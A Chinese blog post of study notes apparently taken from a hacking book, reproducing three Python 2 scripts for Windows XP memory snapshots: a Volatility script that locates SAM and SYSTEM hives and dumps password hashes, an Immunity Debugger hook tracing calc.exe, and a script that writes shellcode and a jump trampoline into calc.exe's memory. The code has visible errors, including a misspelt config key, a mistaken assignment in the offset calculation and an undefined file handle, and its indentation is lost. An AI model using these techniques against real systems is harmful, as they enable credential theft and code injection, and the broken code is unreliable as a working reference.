Python 自动化内存取证

import sys
import struct

memory_file = "WinXPenSP3-Snapshot8.vmem"
sys.path.append("C:\\Python27\\volatility-2.3.1")

import volatility.conf as conf
import volatility.registry as registry

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

config.parse_options()
config.PROFILE = "WinXPenSP3x86"
config.LOCALTION = "file://%s"%memory_file

registry.register_global_options(config,commands.Command)
registry.register_global_options(config,addrspace.BaseAddressSpace)

from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDump

registry = RegistryApi(config)
registry.populate_offsets()

sam_offset = None
sys_offset = None

for offset in registry.all_offsets:
if registry.all_offsets[offset].endswith("\\SAM"):
sam_offset = offset
print "[*] SAM: 0x%08x"%offset

if registry.all_offsets[offset].endswith("\\system"):
sys_offset = offset
print "[*] System: 0x%08x"%offset
if sam_offset is not None and sys_offset is not None:
config.sys_offset = sys_offset
config.sam_offset = sam_offset

hashdump = HashDump(config)

for hash in hashdump.calculate():
print hash

break

if sam_offset is None or sys_offset is None:
print "[*] Failed to find the system or SAM offsets."

直接代码注入

from immlib import *

class cc_hook(LogBpHook):
"""docstring for cc_hook"""
def __init__(self,):
LogBpHook.__init__(self)
self.imm = Debugger()

def run(self,regs):
self.imm.log("%08x"%regs['EIP'],regs['EIP'])
self.imm.deleteBreakpoint(regs['EIP'])

return

def main(args):
imm = Debugger()

calc = imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase())

functions = imm.getAllFunctions(calc.getCodebase())
hooker = cc_hook()

for function in functions:
hooker.add("%08x"%function,function)

return "Tracking %d functions."%len(functions)

#coding=utf-8
import sys
import struct

equals_button = 0x01005D51

memory_file = "WinXPenSP3-Snapshot8.vmem"
slack_space = None
trampoline_offset = None

#读入我们的shellcode
sc_fd = open("cmeasure.bin","rb")
sc = sc_fd.read()
sc_fd.close()

sys.path.append("C:\\Python27\\volatility-2.3.1")

import volatility.conf as conf
import volatility.registry as registry

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

config.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCALTION = "file://%s"%memory_file

import volatility.plugins.taskmods as taskmods

p = taskmods.PSList(config)

for process in p.calculate():
if str(process.ImageFileName) == "calc.exe":
print "[*] Found calc.exe with PID %d"%process.UniqueProcessId
print "[*] Hunting for physical offsets...please wait."

address_space = process.get_process_address_space()
pages = address_space.get_available_pages()

for page in pages:
physical = address_space.vtop(page[0])
if physical is not None:
if slack_space is None:
fd = open(memory_file,"r+")
fd.seek(physical)
buf = fd.read(page[1])

try:
offset = buf.index("\x00"*len(sc))
slack_space = page[0] + offset

print "[*] Found good shellcode location!"
print "[*] Virtual address: 0x%08x"%slack_space
print "[*] Physical address: 0x%08x"%(physical + offset)
print "[*] Injecting shellcode."

fd.seek(physical + offset)
fd.write(sc)
fd.close()

#创建我们的跳转代码
tramp = "\xbb%s"%struct.pack("<L",page[0] + offset)
tramp += "\xff\xe3"

if trampoline_offset is not None:
break

except:
pass

fd.close()

#查看目标代码的位置
if page[0] <= equals_button and equals_button < ((page[0] + page[1]) - 7):
print "[*] Found our trampoline target at: 0x%08x"%(physical)

#计算虚拟偏移
v_offset = equals_button = page[0]

#计算物理偏移
trampoline_offset = physical + v_offset

print "[*] Found our trampoline target at: 0x%08x"%(trampoline_offset)

if slack_space is not None:
break

print "[*] Writing trampoline..."

fd = open(memory_file,"r+")
fd.seek(trampoline_offset)
fd.write(tramp)
f.close()

print "[*] Done injecting code."

版权声明：本博客文章与代码均为学习时整理的笔记，文章 [均为原创] 作品，转载请 [添加出处] ，您添加出处是我创作的动力！